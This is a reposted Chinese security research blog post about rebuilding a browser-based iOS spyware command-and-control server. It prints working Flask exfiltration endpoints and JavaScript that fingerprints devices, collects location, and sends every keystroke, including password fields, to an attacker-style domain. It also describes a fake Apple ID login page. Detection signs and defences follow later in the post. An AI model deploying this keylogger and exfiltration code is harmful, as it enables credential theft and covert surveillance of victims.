DarkSword:构建基于浏览器的iOS平台C2研究

admin 2026-05-16 06:04:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档记录了作者在受控环境中复现DarkSword间谍软件基础设施的研究过程,重点探讨了基于浏览器的iOS攻击中JavaScript可窃取的设备信息范围。研究通过三阶段C2服务器(静默指纹采集、键盘记录、持续监控)实际捕获了设备型号、屏幕参数、地理位置及实时按键数据,证实纯JavaScript可进行有效侦察但受沙箱限制无法获取核心敏感数据。文档同时分析了攻击的防御检测特征及局限性。 综合评分: 82 文章分类: 移动安全,恶意软件,渗透测试,漏洞分析,安全建设


cover_image

DarkSword:构建基于浏览器的 iOS 平台 C2 研究

haidragon haidragon

安全狗的自我修养

2026年5月14日 12:13 湖南

在小说阅读器读本章

去阅读

官网:http://securitytech.cc

我如何重现商业间谍软件基础设施,以了解 JavaScript 究竟能从你的 iPhone 上窃取什么信息

2026年3月,谷歌威胁分析小组发布了DarkSword报告,大多数人关注的是其中的六个CVE漏洞以及零点击攻击链。但我更想了解的是:攻击者在尝试内核攻击之前,究竟能从移动浏览器中获取哪些信息?

本文记录了我构建命令与控制服务器的实际研究过程、我捕获的真实数据,以及这对 2026 年移动安全意味着什么。

⚠️免责声明:所有测试均在受控环境(Corellium)下,使用我的个人设备进行,仅用于教育目的。请勿将这些技术用于未经授权的目标。

这项研究为何重要

DarkSword 不仅仅是另一个 iOS 漏洞利用程序。它代表着移动监控方式的根本性转变:

  • 无需安装任何应用——所有操作都在 Safari 浏览器中完成。
  • 没有 MDM 配置文件——设备管理中没有任何显示。
  • 没有可见的持久性——没有图标,也没有设置项
  • 只需一个链接——轻轻一点,剥削就开始了。

在深入进行内核漏洞利用(这需要稀有且代价高昂的CVE漏洞)之前,攻击者需要进行侦察。本研究探讨的正是这一点:完全在JavaScript中发生的预渗透阶段。

实验室设置

基础设施

为了进行真实模拟的测试,我需要能够模拟真实攻击的基础设施:

云环境:

  • Corellium iOS VM(iOS 18.4 — 存在漏洞的版本)
  • 用于 C2 服务器的公网 IP VPS
  • 已注册域名:darksword.cloudportal247.site

为什么要使用真实域名?现代 iOS 系统要求敏感 API(例如地理位置、传感器和摄像头)使用 HTTPS。自签名证书无法满足要求。

本地测试:

  • Windows 11 搭配 WSL
  • Python 3.14 后端
  • 使用 Flask + SocketIO 进行实时数据外泄

域名注册

darksword.cloudportal247.site通过 Cloudflare 注册并获得了 Let’s Encrypt SSL 证书。这是必须的,因为:

  1. iOS 会阻止 HTTP 请求(即使是 localhost)上的地理位置定位。
  2. 现代浏览器要求传感器 API 使用 HTTPS。
  3. 真正的攻击者会使用看似合法的域名。

总费用:域名 12 美元 + SSL(Let’s Encrypt)0 美元。

构建 C2 服务器

C2架构由三个阶段组成,反映了真实商业间谍软件的运行方式:

第一阶段:静默指纹采集

无需触发任何权限即可收集设备/浏览器元数据:

Python

@ app.route ( '/exfil' , methods=[ 'POST' ]) def exfil ():     data = request.get_json ( )     timestamp = datetime.now ( ). strftime ( "%Y%m%d_%H % M%S" )     filename = f "exfil_{timestamp}.json"     with open (filename, 'w' ) as f :         json.dump (data, f, indent= 2 ) print (f "[+] Stage 1 data received: {filename}" ) return     jsonify ( { "status" : "ok" })

收集的内容:

  • 用户代理字符串(设备型号,iOS 版本)
  • 屏幕分辨率和像素比
  • 时区和语言
  • 硬件性能(CPU核心数、内存)
  • 电池状态
  • 网络连接类型
  • 已安装的浏览器插件

第二阶段:键盘记录

捕获表单中输入的每个字符:

Python

@app.route( '/keys' , methods=[ 'POST' ] )
def keys ():
    data = request.get_json()
    timestamp = datetime.now().strftime( "%Y%m%d_%H%M%S" )
    millis = datetime.now().microsecond // 1000

     filename = f"keys_ {timestamp} _ {millis} .json"
with open (filename, 'w' ) as f:
        json.dump(data, f, indent= 2 )

print ( f"[+] Keystroke: {data.get( 'field' )} = {data.get( 'value' )} " )
return jsonify({ "status" : "ok" })

第三阶段:持续监测

用于持续数据收集的长期连接(在我的研究中尚未完全实现,但该端点存在于实际攻击中)。

客户端有效载荷

受害者Safari浏览器中运行的JavaScript代码功能强大得令人惊讶:

JavaScript

async function stage1_fingerprint() {
const data = {
metadata: {
timestamp: new Date().toISOString() ,
collector: "DarkSword-Advanced" ,
version: "1.0"
     },
device: {
userAgent: navigator.userAgent ,
platform: navigator.platform ,
vendor: navigator.vendor ,
hardwareConcurrency: navigator.hardwareConcurrency ,
maxTouchPoints: navigator.maxTouchPoints ,
deviceMemory: navigator.deviceMemory
     },
screen: {
width: screen.width ,
height: screen.height ,
colorDepth: screen.colorDepth ,
pixelRatio: window.devicePixelRatio
     },
geolocation: await getLocation() ,
battery: await getBattery()
   } ;

await fetch('https://darksword.cloudportal247.site/exfil' , {
method: 'POST' ,
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
   } );
 }

键盘记录器就更简单了:

JavaScript

document.addEventListener ( ' keyup ' , (e) => {
const target = e.target;
if (target.tagName === 'INPUT' || target.tagName === 'TEXTAREA' ) {
fetch ( 'https://darksword.cloudportal247.site/keys' , {
method : 'POST' ,
headers : { 'Content-Type' : 'application/json' } ,
body : JSON.stringify ({
field : target.id || target.name,
value : target.value,
isPassword : target.type === 'password' ,
url : window.location.href,
timestamp : Date.now ()       })     });   } });

每一次按键。每一个输入。实时发送。

我实际拍摄到的

测试 1:对照测试(桌面浏览器)

首先,我用我的 Windows 笔记本电脑访问 C2 服务器,验证了 C2 服务器是否正常工作。

结果: exfil_20260407_024528.json

JSON

{
"device" : {
"userAgent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64)...." ,
"platform" : "Win32" ,
"hardwareConcurrency" : 4 ,
"deviceMemory" : 4
} ,
"geolocation" : {
"latitude" : 41.895292 ,
"longitude" : 12.439891 ,
"accuracy" : 97
}
}

主要发现:授予权限后(浏览器弹出提示),地理定位功能立即生效。精度:97米——足以识别我在罗马的建筑物。

测试 2:iPhone 在 Corellium 系统上的测试

然后我在一台运行 iOS 18.4 的虚拟机上加载了恶意页面:

结果: exfil_20260407_030453.json

JSON

{
  "device": {
    "userAgent": "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6...)" ,
"platform" : "iPhone" ,
"hardwareConcurrency" : 4 ,
"maxTouchPoints" : 5
   },
  "screen": {
    " width ": 393 ,
"height" : 852 ,
"pixelRatio" : 3
   }
}

设备指纹识别成功:

  • 正确识别为 iPhone
  • 屏幕分辨率与 iPhone 14 Pro 相同
  • 检测到 iOS 18.6
  • 暴露的 4 个 CPU 核心

测试 3:键盘记录器

我创建了一个虚假的 Apple ID 登录页面来测试键盘输入捕获功能:

结果:当我在用户名栏输入“str”时,捕获到两个JSON文件:

JSON

// keys_20260407_044212_138.json
{
"field" : "apple_id" ,
"value" : "str" ,
"isPassword" : false ,
"timestamp" : 1775529732034
}
// keys_20260407_044212_424.json
{
  "field": "apple_id",
  "value": "strn",
  "isPassword": false,
  "timestamp": 1775529732334
}

每一次按键。每300毫秒。甚至在表单提交之前。

在真正的攻击中,攻击者会在你点击“登录”之前就掌握你的全部凭证。

.ipa 实验(以及我们放弃它的原因)

最初,我计划为第二阶段(即后渗透阶段)创建一个恶意 iOS 应用(.ipa文件),以逃离浏览器沙箱。

理论如下:

  1. 受害者点击恶意链接(第一阶段)
  2. JavaScript提示:“请安装安全更新以继续”
  3. 用户下载/安装.ipa
  4. 该应用提供沙箱外的持久访问权限

我们为什么停止了

在研究过程中,我发现:

泄露的 DarkSword 代码库中已经包含了该.ipa文件,我不需要重新构建它。

更重要的是,我意识到创建一个令人信服的 .ipa 文件比编写 JavaScript 有效载荷要难得多:

  • 需要盗取的苹果开发者证书($$$)
  • 企业证书由苹果公司跟踪。
  • MDM 注册信息会显示在“设置”中。
  • 安装提示可疑

仅限浏览器的方式实际上更隐蔽:

✅ 无安装提示 ✅ 无可见应用图标 ✅ 无 MDM 配置 ✅ 无 App Store 评论 ✅ 可在任何可通过浏览器访问的 iOS 版本上运行

所以我转而专注于最大限度地发挥纯 JavaScript 的功能。

JavaScript 可以(以及不能)窃取什么

根据我的测试,完整的情况如下:

✅ 无需权限即可使用

页面加载后,这些信息就会立即显示出来:

  • 设备型号和 iOS 版本
  • 屏幕分辨率和像素比
  • 浏览器类型和版本
  • 时区和语言设置
  • CPU核心数和内存容量
  • 触控功能
  • 电池电量和充电状态
  • 网络连接类型
  • 画布指纹(唯一标识符)
  • WebGL 指纹
  • 所有 Cookie
  • 本地存储和会话存储

⚠️ 需经用户许可方可查看

这些都需要提示(但社会工程学方法也有效):

  • GPS坐标(精确到10-100米)
  • 摄像头访问权限(实时视频流)
  • 麦克风接入(实时音频)
  • 运动传感器(加速度计、陀螺仪)
  • 剪贴板内容(在某些交互情况下)

❌ 不可用(沙盒保护)

即使拥有完整的 JavaScript 访问权限,您也无法访问:

  • 已保存的密码(钥匙串)
  • 短信或iMessage内容
  • 浏览器外的照片
  • 来自其他应用程序的文件
  • WhatsApp/Telegram数据库
  • 通话记录
  • 联系人列表

这就是为什么 DarkSword 需要 6 个 CVE 漏洞的原因。浏览器沙箱机制确实有效。单靠 JavaScript 可以进行侦察,但无法获取核心信息。

按回车键或点击查看完整尺寸的图片

蓝队会看到什么

从防守方的角度来看,这种攻击会留下痕迹:

网络层

DNS 查询:darksword.cloudportal247.site
TLS SNI:darksword.cloudportal247.site
HTTP POST /exfil (3.1 KB)
HTTP POST /keys (多个 200 字节请求)

危险信号:

  • 新注册域名(❤0 天)
  • 来自浏览器的重复 POST 请求
  • 将 JSON 有效负载发送到异常端点
  • 连续的交通模式

浏览器级别

如果开发者工具已打开(这种情况很少见):

JavaScript

[+]已接收第一阶段数据
[+]已捕获按键:apple_id = s
[+] 已捕获按键:apple_id = st

终点级别

Safari 网页内容:CPU 使用率高,页面后台运行时
网络活动频繁,持续执行 JavaScript 代码

问题在于:大多数用户(以及许多移动设备管理解决方案)不会监控这种情况。Safari 浏览器是受信任的,JavaScript 也是正常的,因此攻击很容易被掩盖。

防御基于浏览器的攻击

个人用户

1. 启用锁定模式

这是核选项,但效果显著:

设置→隐私与安全→锁定模式

这将禁用:

  • JIT JavaScript 编译(会降低漏洞利用的可靠性)
  • WebGL 和复杂字体(会破坏指纹识别)
  • 一些传感器API

权衡:有些网站会崩溃。但如果你是高价值目标(记者、活动家、高管),这是必须的。

2. 使用 DNS 层屏蔽

屏蔽新注册的域名:

  • NextDNS
  • AdGuard DNS
  • 在家使用 Pi-hole

3. 审核 Safari 设置

设置 → Safari 浏览器 → 隐私与安全
→ 阻止跨网站跟踪:开启
→ 阻止所有 Cookie:开启(严格但更安全)
→ 欺诈性网站警告:开启

这项研究的主要启示

1. JavaScript 被低估了

安全团队主要关注:

  • 恶意应用程序(.ipa文件)
  • 网络钓鱼(凭证窃取)
  • 网络攻击(中间人攻击、DNS投毒)

但基于浏览器的 JavaScript 攻击却难以察觉。无需安装,无需持久化,仅仅是进行侦察,为下一步行动铺平道路。

2. 沙盒是你的朋友

尽管收集到了大量数据,但我却无法:

  • 访问文件系统
  • 读取其他应用的数据
  • 轻松实现浏览器重启后数据依然有效

iOS 沙箱机制确实有效。正因如此,像 DarkSword 这样的真正漏洞利用程序才会投入大量资源来开发沙箱逃逸漏洞。单靠 JavaScript 不足以进行持续监控。

3. 社会工程是薄弱环节

最敏感的数据(GPS、摄像头、麦克风)仍然需要用户许可。但人性是可以预测的:

  • “启用位置信息以获取天气信息”
  • “允许摄像头扫描二维码”
  • “授予语音搜索麦克风权限”

我们不假思索地点击了“允许”。

4. 域名年龄很重要

我的域名注册于2026年4月6日。任何检查域名年龄的DNS安全产品都会立即将其标记出来。

本研究的局限性

我没有测试的内容:

实际 CVE 漏洞利用——我只测试了数据收集,没有测试内核访问。❌ 长期持久性——真正的攻击会维持数周/数月的访问权限 。❌ iOS 版本低于 18.4——旧版本可能具有不同的功能 。❌真实的钓鱼活动——我使用的是 Corellium 模拟器,而非真实受害者。

为什么会有这些限制?

  • 在生产设备上利用真实的CVE漏洞是违法的。
  • 持续的C2测试需要我没有的基础设施。
  • 现实世界中的网络钓鱼是不道德的。

这项研究着重探讨了仅使用 JavaScript 可以实现的功能——这本身就已经意义非凡。

商业间谍软件问题

DarkSword并非学术界的奇闻异事。根据谷歌标签显示:

UNC6748(沙特阿拉伯) ——用于攻击国内目标; PARS Defense(土耳其) ——商业供应商向各国政府销售; UNC6353(俄罗斯) ——用于攻击乌克兰目标。

这就是监控的商品化。你不再需要一支顶尖的黑客团队——你只需要预算和供应商。

扩散时间线

  • 2025年11月:首次发现暗剑
  • 2025年12月:跨境业务开始
  • 2026年1月:向多个政府提供商业报价
  • 2026年3月:谷歌TAG公开披露

从首次使用到公众知晓,历时四个月。在此期间,数百(甚至数千?)个目标遭到入侵。

结论:JavaScript 是一个攻击面

建造一个类似《黑暗之剑》的C2让我明白:

  1. 基于浏览器的攻击非常有效——侦察不需要内核访问权限
  2. JavaScript 功能强大——指纹识别揭示了大量情报
  3. 沙箱机制(大部分情况下)有效——但它们无法阻止那些拥有CVE漏洞的执着攻击者。
  4. 只要知道该注意什么,就能检测到。

对于安全社区而言:切勿忽视 JavaScript 威胁。DarkSword 攻击始于浏览器漏洞利用,这证明现代浏览器是一个切实可行且被低估的攻击面。

对于防御者而言:监控 DNS、检查 TLS、培训用户。只要用心查找,这些攻击都是可以检测到的。

对于高风险目标群体而言:封锁模式并非杞人忧天,而是一种保障。

资源与延伸阅读

原创研究:

  • Google TAG DarkSword 报告(2026 年 3 月)
  • 苹果安全更新:iOS 18.7.3、26.3

使用工具:

  • Corellium(iOS虚拟机测试)
  • Python Flask(C2 服务器)
  • Let’s Encrypt(SSL证书)

快速参考命令

对于想要(合乎伦理地)复现此操作的安全研究人员:

狂欢

# 设置 C2 服务器
python3 server.py
# 检查域名年龄(开源情报)
whois your-domain.com | grep "Creation"# 监控 DNS 查询(防御性)
tcpdump -i any -n port 53 | grep suspect# 阻止域名(本地)
echo "0.0.0.0 malware.com" >> /etc/hosts# 分析捕获的 JSON
jq '.geolocation' exfil_*.json
jq '.device.userAgent' exfil_*.json

最后声明:本研究完全在个人设备和受控基础设施上进行,仅用于教育目的。所有测试均合法合规。请勿将这些技术用于未经授权的目标。未经授权访问计算机系统在全球范围内均属违法行为

  • 公众号:安全狗的自我修养

  • vx:2207344074

  • http://gitee.com/haidragon

  • http://github.com/haidragon

  • bilibili:haidragonx


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon haidragon《DarkSword:构建基于浏览器的 iOS 平台 C2 研究》

评论:0   参与:  0